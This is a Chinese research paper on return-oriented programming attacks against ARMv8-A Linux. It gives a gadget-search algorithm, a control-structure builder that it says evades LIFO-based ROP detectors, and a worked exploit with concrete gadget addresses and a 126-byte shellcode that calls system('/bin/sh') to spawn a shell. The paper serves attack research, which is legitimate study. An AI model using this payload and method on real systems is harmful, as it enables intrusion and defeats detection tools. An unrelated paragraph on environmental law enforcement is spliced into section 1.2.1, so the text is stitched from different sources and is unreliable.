趙利軍 李 民 彭 誠
(中國人民解放軍陸軍工程大學(xué)軍事理論創(chuàng)新與作戰(zhàn)實驗中心 江蘇 徐州 221000)
ARMv8-A架構(gòu)自2011年提出以來,其產(chǎn)品生態(tài)鏈得到了長足的發(fā)展。未來幾年將會有越來越多支持ARMv8-A架構(gòu)的產(chǎn)品投市。2013年蘋果公司的iPhone 5s 采用的A7處理器是第一款正式量產(chǎn)的基于ARMv8架構(gòu)的處理器[1]。2014年AMD、博通和Applied Micro Circuits等公司均推出ARMv8處理器[2-4]。ARM公司預(yù)測2016年基于ARMv8的新型服務(wù)器將占有5%~10%的市場份額[5]。
2007年Hova Shacham第一次提出了x86平臺上的返回導(dǎo)向編程技術(shù)(ROP)[6]。ROP技術(shù)不是通過注入惡意代碼,而是通過復(fù)用動態(tài)庫和可執(zhí)行代碼中的指令序列(gadget)來實現(xiàn)任意的代碼語義。ROP作為能有效繞開數(shù)據(jù)執(zhí)行保護(hù)技術(shù)的重要手段,引起了研究人員的廣泛關(guān)注,他們先后在各個平臺上進(jìn)行了ROP技術(shù)的研究,例如SPARC[7]、Atmel AVR[8]和PowerPC[9]等。
2010年,Kornau[10]首次在ARM平臺上實現(xiàn)的ROP攻擊技術(shù)采用以BX lr指令結(jié)尾的gadget。BX lr指令實現(xiàn)函數(shù)的返回[11],相當(dāng)于x86上的RET指令。文獻(xiàn)[11]還提出了一個ARM ROP Gadget自動搜索的算法,并且給出了ARM ROP攻擊圖靈完整性的證明。在Kornau研究基礎(chǔ)上,Davi等[12]采用以BLX指令結(jié)尾的gadget實現(xiàn)了ARM架構(gòu)上的JOP(Jump-Oriented Programming)攻擊。
文獻(xiàn)[10,12]的討論和技術(shù)實現(xiàn)均是針對ARMv7架構(gòu)進(jìn)行的。ARMv7向ARMv8的升級,并不是簡單的指令集擴(kuò)展及通用寄存器組長度的擴(kuò)展。ARMv8架構(gòu)為了獲得低功耗高效率的64位計算優(yōu)勢,引入了一個全新64位指令集A64。文獻(xiàn)[10,12]針對ARMv7的ROP解決方法并沒有解決ARMv8 ROP實現(xiàn)的關(guān)鍵問題:(1) ARMv8 ROP gadget的構(gòu)成及gadget的搜索。ARMv7中用于實現(xiàn)函數(shù)返回的BX lr指令在A64指令集中已經(jīng)不復(fù)存在。A64指令集中,用于實現(xiàn)函數(shù)返回的指令為RET {Xm}(當(dāng)Xm省略時默認(rèn)使用X30)[13-14],ARMv7不存在該條指令。(2) gadget串聯(lián)和ROP shellcode自動生成。ARMv8-A上實現(xiàn)ARMv7的LR寄存器對應(yīng)功能的寄存器是X30,前者是32位的,后者是64位的。ARMv8-A中64位棧的組織與使用發(fā)生了明顯的變化。ARMv8架構(gòu)函數(shù)的prologue先調(diào)整棧指針,壓入函數(shù)返回地址,再分配局部變量空間[13-14]。ARMv7架構(gòu)函數(shù)的prologue先壓入函數(shù)返回地址,再調(diào)整棧指針,為局部變量分配空間。這些調(diào)整和變化均會影響gadget串聯(lián)和ROP shellcode自動生成方式。本文將討論ARMv8 ROP實現(xiàn)的原理和方法,并通過實例說明ARMv8上ROP攻擊的全過程。
ARMv8實現(xiàn)函數(shù)返回的指令RET{Xm}本質(zhì)上是一條無條件間接轉(zhuǎn)移指令,可用Xm來顯式指明跳轉(zhuǎn)地址,Xm省略時,跳轉(zhuǎn)地址由X30寄存器給出。雖然Xm可以為X0-X30中的任意一個,但Linaro ARMv8 Linux函數(shù)返回指令僅使用了Xm省略的情況(使用X30寄存器存放目的地址)[13-14]。該指令對應(yīng)的二進(jìn)制編碼為d6 5f 03 c0。RET指令前通常有一條LDP/LDR指令用于把保存在棧中的函數(shù)的返回地址讀取到寄存器X30。
ARMv8 ROP的基本單元是以RET指令結(jié)尾(函數(shù)返回地址通常由X30指定)的指令序列。ARMv8的函數(shù)返回地址通常由X30指定。要讓以RET指令結(jié)尾的gadget串聯(lián)起來的關(guān)鍵是合理控制X30 寄存器值,讓上一個gadget的末條指令RET的X30值作為下一個gadget的首指令的地址。本文給出了如下的邏輯結(jié)構(gòu)來描述ARMv8 ROP gadget的構(gòu)成,并將ROP gadget歸結(jié)為三種類型,方便gadget鏈的串聯(lián)和ROP shellcode 的自動生成。
1.1.1 邏輯結(jié)構(gòu)
針對ARMv8架構(gòu),本文給出ARMv8 gadget的邏輯結(jié)構(gòu)定義如下:
typedef struct
{
INS_STR GADGET_BODY[ ];
INS_STR X30_ADJUST;
INS_STR LAST_INS;
} gadget_logic_struct;
ARMv8 gadget的邏輯結(jié)構(gòu)由以下三部分組成:
(1) GADGET_BODY:執(zhí)行g(shù)adget的主要功能,gadget中除X30_ADJUST和LAST_INS以外的部分;本部分可能為Φ,如控制流gadget。
(2) X30_ADJUST:影響X30值的指令段,通常是LDP/LDR指令,若存在,一般只出現(xiàn)在gadget倒數(shù)第二條指令上;gadget倒數(shù)第二條指令是LDP/LDR以外的指令,該部分為Φ。
(3) LAST_INS:gadget的最后一條指令,本文中為RET指令。
1.1.2 gadget類別
根據(jù)X30_ADJUST的形態(tài),ARMv8 ROP gadget類型見圖1。
圖1 ARMv8 ROP gadget類型
TYPE(a):X30_ADJUST為“l(fā)dp x29,x30,[sp],#offset”格式的指令。該條load register pair(post-indexd)指令,首先從當(dāng)前棧頂依次讀取兩個64位數(shù)據(jù)到寄存器X29和X30,然后更改棧指針的值為sp+offset。絕大多數(shù)gadget屬于此類型,如{add x0,x0,x1;ldp x29,x30,[sp],#0x20;ret}。
TYPE(b):X30_ADJUST為“l(fā)dr x30,[sp],#offset”格式的指令。該條load register(post-indexd)指令,從當(dāng)前棧頂讀取一個64位數(shù)據(jù)到寄存器X30,然后更改棧指針的值為sp+offset,如{ldr x0,[sp],#8;ldr x30,[sp],#8 ;ret}。
TYPE(c):X30_ADJUST中為Φ。該類gadget在完成特定功能的GADGET_BODY之后,直接使用RET指令進(jìn)行跳轉(zhuǎn)。該類gadget不改變X30的值,X30的值由上一個gadget決定,如{ ldr x1, [x0, #0x68];ret}。
1.1.3 gadget搜索算法
ARMv8 ROP gadget自動搜索是從庫文件和可執(zhí)行文件中搜索以RET指令結(jié)尾的指令序列,并將搜索到的指令序列輸出為本文定義的ARMv8 gadget的邏輯結(jié)構(gòu)格式。算法1給出了自動搜索算法遍歷庫文件或可執(zhí)行文件的整個代碼段。當(dāng)遇到RET指令時,就將RET指令對應(yīng)的目標(biāo)碼存放在gadget邏輯結(jié)構(gòu)的LAST_INS中;然后判斷RET的前一條指令,如果為LDP/LDR指令,就把對應(yīng)的目標(biāo)碼放入gadget邏輯結(jié)構(gòu)的X30_ADJUST中,否則加入gadget邏輯結(jié)構(gòu)的GADGET_BODY[]中。參數(shù)maxdepth給出了搜索算法的深度,也即gadget對應(yīng)的指令序列中指令最大條數(shù)。通常maxdepth的值設(shè)為2~5。當(dāng)發(fā)生以下情況時算法停止搜索:① 當(dāng)遇到返回指令RET、跳轉(zhuǎn)指令BLR或間接調(diào)用指令BR時;② 當(dāng)gadget中的指令的條數(shù)大于搜索深度maxdepth時。
算法1ARMv8 gadget自動搜索算法
1 /* textseg_length: the size of the text segment of the libraries or executables; maxdepth: the maximum instruction number for each gadget; input:textseg output:g (gadget_logic_struct sequences)*/
2: Create Gadget( ){
3. for (pos=0,pos 4: if(the instruction at pos is "RET"){ 5: put current instruction insn into g.LAST_INS; 6: if(the previous instruction is "LDP" or "LDR") 7: put previous instruction pre_insn into g.X30_ADJUST; 8: else put previous instruction pre_insn into g. GADGET_BODY[]; 9: for (step.from2 to maxdepth) { 10: if ( the instruction insn at (pos-step*4) is not ("RET" or "BLR" or "BR")) ) 11: merge current instruction insn into g. GADGET_BODY[]; 12: else break;} } } 13: set g to the next gadget; 14: } 1.1.4 gadget統(tǒng)計 Linaro ARMv8 Linux(Linux version 3.6.0-1-Linaro-vexpress64)的/bin和/usr/bin目錄下存在178個應(yīng)用程序,其所依賴的庫文件引用統(tǒng)計如表1所示(僅列出前10)。 表1 Linaro ARMv8 Linux基本命令的庫文件引用統(tǒng)計 續(xù)表1 從表1可以看出,所有的應(yīng)用程序都用到了libc.so.6和ld-linux-aarch64.so.1這兩個庫文件。 表2給出了這兩個庫文件中三類gadget的統(tǒng)計結(jié)果,可見可用于實現(xiàn)ARMv8ROP的gadget數(shù)目還是相當(dāng)可觀的。 表2 gadget統(tǒng)計結(jié)果 1.2.1 控制結(jié)構(gòu)的組成 為了實現(xiàn)gadget鏈的串聯(lián),本文引入了一個結(jié)構(gòu)體:控制結(jié)構(gòu)CS(control structure)。CS的組成如圖2所示。 圖2 CS組成結(jié)構(gòu) 各部分的作用如下: (1) PAR_SEC(GP):參數(shù)字段(parameter section),用于保存gadget所需要的參數(shù)和數(shù)據(jù)。若gadget不需要從堆棧中加載參數(shù)和數(shù)據(jù),該部分為Φ。 (2) PAD0:X29_REG和PAR_SEC間可能存在的填充字段。 在市場經(jīng)濟(jì)發(fā)展之時,負(fù)面現(xiàn)象,尤其是環(huán)境污染隨之出現(xiàn)。為了營造碧水藍(lán)天的生活環(huán)境,實現(xiàn)可續(xù)持續(xù)化發(fā)展,在2014年11月12日,國務(wù)院下發(fā)了《關(guān)于加強(qiáng)環(huán)境監(jiān)管執(zhí)法的通知》,要求全國各級地方政府重視環(huán)境執(zhí)法工作,杜絕各種環(huán)境違法現(xiàn)象,著力提高環(huán)境質(zhì)量水平。在2018年5月18日,國家主席習(xí)近平在全國生態(tài)環(huán)境保護(hù)大會上就環(huán)境執(zhí)法工作重要性予以強(qiáng)調(diào),并羅列若干事宜。依據(jù)上述內(nèi)容,可以將環(huán)境執(zhí)法界定為:以黨政政策、法律法規(guī)為基準(zhǔn)的,打擊實施一切環(huán)境違法犯罪的活動。 (3) X29_REG(X29PAD):用于保存X29的內(nèi)容。TYPE(b)的gadget對應(yīng)的CS中,此段為Φ。 (4) X30_REG(GA):用于保存X30的內(nèi)容。上一個gadget基于該字段的值來調(diào)度本CS對應(yīng)的gadget。 (5) PAD1:X30_REG之后可能存在的填充字段。 1.2.2 ARMv8 ROP的工作原理 為每個gadget生成一個CS對象,將各gadget的CS對象前后排列在一起就得到對應(yīng)的ROP shellcode。ROP shellcode的各gadget在對應(yīng)的CS對象控制之下能逐個得以執(zhí)行。圖3給出了ARMv8 ROP的內(nèi)存布局和工作過程。 圖3 ARMv8 ROP內(nèi)存布局/框架 ROP攻擊過程如下: Step1_a攻擊者利用應(yīng)用程序的漏洞向內(nèi)存中注入ROP shellcode。 Step2gadget_0中X30_ADJUST對應(yīng)的指令將CS0中的X30_REG加載到X30。 Step3gadget_0的RET指令執(zhí)行,控制流將轉(zhuǎn)向gadget_1。 Step4后繼gadget將重復(fù)Step2和Step3,直至攻擊完成。 1.2.3 CS自動構(gòu)造算法 本文的CS自動構(gòu)造算法保證了堆棧的LIFO使用特性。該算法適用于運行時ROP shellcode自動生成,可避免基于LIFO特性的ROP檢測工具的檢測。CS的自動構(gòu)造算法見算法2。該算法針對三種類型的gadget,通過倒序遍歷gadget中的各條指令生成對應(yīng)的CS控制數(shù)據(jù)。 算法2CS自動構(gòu)造算法 1: CS cs_constructor(GADGET g, CS cs) { 2: INSN insn; 3: if(g. LAST_INS. op is not "RET" ) return(-1); 4: if (g. X30_ADJUST. op is "ldr" or "ldp" ) { 5: ONEORPAIR_size=(g. X30_ADJUST. op is "ldr") ? 0x8: 0x10; 6: if (g. X30_ADJUST. imm > ONEORPAIR_size) 7: fill cs.PAD1 with 0xA of size(g. X30_ADJUST. imm-ONEORPAIR_size); 8: else set length of cs. PAD1 to 0; 9: cs. X30_REG = current gadget address; 10: if (g. X30_ADJUST. op is "ldr") 11: set length of cs. X29_REG to 0; 12: else cs. X29_REG ="AAAAAAAA";} 13: for ( next insn from tail of g. GADGET_BODY) { 14: if( insn. op is "ldr" or "ldp") { 15: ONEORPAIR_size=(g.X30_ADJUST.op is "ldr") ? 0x8: 0x10; 16: if (insn. imm> ONEORPAIR_size) 17: fill cs. PAD0 with 0xA of size(insn, imm-ONEORPAIR_size); 18: else set length of cs. PAD 0 to 0; 19: fill cs. PAR_SEC with parameter_value; } 20: }} 圖4給出了CS自動構(gòu)造的一個實例。該gadget的完整指令序列為{ldr x0,[sp],#16;add x0,#1;mov x2,x0;ldp x29,x30,[sp],#32;ret}。GADGET_BODY包括前三條指令{ldr x0,[sp],#16;add x0,#1;mov x2,x0};X30_ADJUST對應(yīng)的指令為{ldp x29,x30,[sp],#32};LAST_INS對應(yīng)的指令為{ret}。算法處理X30_ADJUST中的LDP指令時,ONEORPAIR_size為16,X30_ADJUST.imm為32,PAD1對應(yīng)的字段的長度為16(X30_ADJUST.imm-ONEORPAIR_size),X30_REG字段為該gadget在內(nèi)存中的地址,用8個A對X29_REG進(jìn)行填充。算法處理GADGET_BODY中的LDR指令時,ONEORPAIR_size為8,insn.imm為16,PAD0對應(yīng)的字段的大小為8(insn.imm-ONEORPAIR_size),最后把需要加載到X0中的數(shù)據(jù)保存到PAR_SEC中。 圖4 CS自動構(gòu)造實例 本節(jié)將給出Linaro ARMv8 Linux上實現(xiàn)的ROP攻擊實例。該實例通過劫持控制流使程序去運行一段ROP shellcode。該shellcode通過復(fù)用libc.so.6中的system( )函數(shù)打開一個shell命令行窗口。Linaro是ARM公司授權(quán)商,為ARMv8開發(fā)的工具鏈和快速模型虛擬平臺。本文所用的Linaro ARMv8 Linux版本號為Linux 3.6.0-1-Linaro-vexpress64。 本例gadget鏈所用的3個gadget來自libc.so.6或ld-linux-aarch64.so.1庫文件。gadget(12)和gadget(13)分別從內(nèi)存加載數(shù)據(jù)到寄存器X0和X1;gadget(14)將X0和X1相加,結(jié)果保存到寄存器X0中。gadget(11)中的“l(fā)dp x29,x30,[sp],#0x20”指令將從gadget的CS中加載system函數(shù)的入口地址到X30中,最后的RET指令將轉(zhuǎn)去執(zhí)行system函數(shù)。 這三個gadget同時也是一個消除NULL字符的decoder。System( )函數(shù)所需要的參數(shù)(字符串“/bin/sh”的起始地址)為0x0000007fb7eb47c0,高位的3個字節(jié)為NULL,不應(yīng)出現(xiàn)在shellcode代碼串中。 0x7fb7f4c4e4<+100>: F84027E0 ldr x0,[sp],#8 0x7fb7f4c4e8<+104>: F84027FE ldr x30,[sp],#8 0x7fb7f4c4ec<+108>: D65F03C0 ret gadget(12) 0x7fb7b4a8c4<+84>: F84027E1 ldr x1,[sp],#8 0x7fb7b4a8c8<+88>: A8C37BFD ldp x29,x30,[sp],#0x10 0x7fb7b4a8cc<+92>: D65F03C0 ret gadget(13) 0x7fb75e138<+60>: 8b010000 add x0,x0,x1 0x7fb75e13c<+64>: A8C17BFD ldp x29,x30,[sp],#0x20 0x7fb75e140<+68>: D65F03C0 ret gadget(14) 相應(yīng)的ROP shellcode共126個字節(jié),內(nèi)容如下: charshellcode[]= "x41x41x41x41x41x41x41x41x41x41x41x41" "x41x41x41x41x41x41x41x41x41x41x41x41" "x41x41x41x41x41x41x41x41x41x41x41x41" "x41x41x41x41xe4xc4xf4xb7x7fx41x41x41" "x41x41x41x41x41x41x41x41x41x41x41x41" "x41x41x41x41x41x41x41x41x41x41x41x41" "x41x41x41x41x41x41x41x41xfdxedxeexee" "x6exeexeexeexc4xa8xb4xb7x7fx11x10x11" "x11x11x12x11x11x41x41x41x41x41x41x41" "x38x14x5exb7x7fx41x41x41x41x41x41x41" "x44x46xedxb7x7fx00”; 圖5給出ROP shellcode在二進(jìn)制代碼查看工具中看到的結(jié)果。沒有用到的閑置內(nèi)存全部用字符A填充。 圖5 ROP shellcode實例數(shù)據(jù) ROP shellcode對應(yīng)的內(nèi)存布局及工作原理如圖6所示。左側(cè)給出ROP的內(nèi)存安排和內(nèi)存地址的后12位,右側(cè)的虛線代表指令序列的執(zhí)行順序。 圖6 ROP攻擊實例原理圖 (1) 漏洞利用和控制流劫持:假設(shè)通過一次漏洞利用,本實例已經(jīng)用gadget(12)的首地址0x7fb7b4 a8c4覆蓋了程序保存在0x7ffffffb88處的正常的返回地址,這樣當(dāng)程序返回時,將會跳轉(zhuǎn)到gadget(12)執(zhí)行。 (2) gadget(12):根據(jù)1.1.2節(jié)對gadget類別的介紹,gadget(12)屬于TYPE(b)類型,即LAST_INS為RET指令,X30_ADJUST為ldr x30,[sp],#8。 GADGET_BODY[]中存放的是ldr x0,[sp],#8指令。依據(jù)1.2.3節(jié)CS自動構(gòu)造算法,其生成的控制結(jié)構(gòu)對應(yīng)圖6中的0x7ffffffbc0-0x7ffffffbd0內(nèi)存區(qū)域,X30_REG的值為0x7fb7b4a8c4,PAR_SEC的值為0xeeeeee6eeeeeedfd。該gadget的功能為從當(dāng)前棧頂取出兩個64位數(shù)據(jù)依次放入寄存器X0(值為0xeeeeee6eeeeeedfd)和X30(值為0x7fb7b4a8c4,gadget(10)首地址)。 (3) gadget(13):根據(jù)1.1.2節(jié)對gadget類別的介紹,gadget(13)屬于TYPE(a)類型,即LAST_INS為RET指令,X30_ADJUST為ldp x29,x30,[sp],#0x10,GADGET_BODY[]中存放的是ldr x1,[sp],#8 指令。依據(jù)1.2.3 CS自動構(gòu)造算法,其生成的控制結(jié)構(gòu)對應(yīng)圖6中的0x7ffffffbd0-0x7ffffffbe0內(nèi)存區(qū)域,X30_REG的值為為0x7fb75e138。本文使用8個字符“A”填充X29_REG,PAR_SEC的值為0x11111211111111011。該gadget的功能為從當(dāng)前棧頂讀取一個64位數(shù)據(jù)放入寄存器X1(值為0x11111211111111011),sp值增加8個字節(jié);然后從當(dāng)前棧頂讀取兩個數(shù)據(jù)依次放入寄存器X29(8個A)和X30(值為0x7fb75e138,gadget(14)首址),sp值增加16個字節(jié)。 (4) gadget(14) :根據(jù)1.1.2節(jié)對gadget類別的介紹,gadget(14)屬于TYPE(a)類型,即LAST_INS為RET指令,X30_ADJUST為ldp x29,x30,[sp],#0x20,GADGET_BODY[]中存放的是add x0,x0,x1 指令。依據(jù)1.2.3 CS自動構(gòu)造算法,其生成的控制結(jié)構(gòu)對應(yīng)圖6中的0x7ffffffbe8-0x7ffffffbf0內(nèi)存區(qū)域。使用16個字符“A”填充PAD1,X30_REG的值為為0x7fb7ed4644,使用8個字符“A”填充X29_REG。該gadget的第一條指令將X0與X1相加(0xeeeeee6eeeeeedfd+0x11111211111111011=0x0000007fb7eb47c0(該地址處存放著字符串“/bin/sh”); 第二條指令然后將0x7ffffffbe8處的8個“A”加載到X29中,0x7ffffffbf0處的system系統(tǒng)調(diào)用的地址加載到X30寄存器中。通過RET指令使控制流轉(zhuǎn)去0x7fb7ed4644處執(zhí)行(system代碼的入口地址為0x7fb7ed4644)。 程序執(zhí)行system系統(tǒng)調(diào)用完成攻擊。 本文提出了一個ARMv8上實現(xiàn)ROP的框架和方法,在給出ROP gadget邏輯結(jié)構(gòu)定義和分類方法的基礎(chǔ)上,實現(xiàn)了gadget自動搜索與ARMv8 ROP控制結(jié)構(gòu)自動構(gòu)造。本文的ROP方法維持了堆棧的LIFO使用特性,適用于運行時ROP shellcode的自動生成,可避免基于LIFO特性的ROP檢測工具的檢測。目前,ROPdefender、DROP、ROPecker等工具雖然尚不支持ARMv8架構(gòu)上ROP的檢測。ROP方法普遍存在頻繁使用RET的特征,上述工具經(jīng)平臺擴(kuò)展后將可以實現(xiàn)對本文ROP方法的檢測。下一步工作將進(jìn)行ARMv8 JOP技術(shù)的研究,使其能夠有效繞過檢測RET指令特征的防御工具。1.2 ARMv8 ROP方法設(shè)計
2 在Linaro ARMv8 Linux上發(fā)動ROP攻擊
2.1 gadget鏈
2.2 ROP shellcode
2.3 實現(xiàn)原理
3 結(jié) 語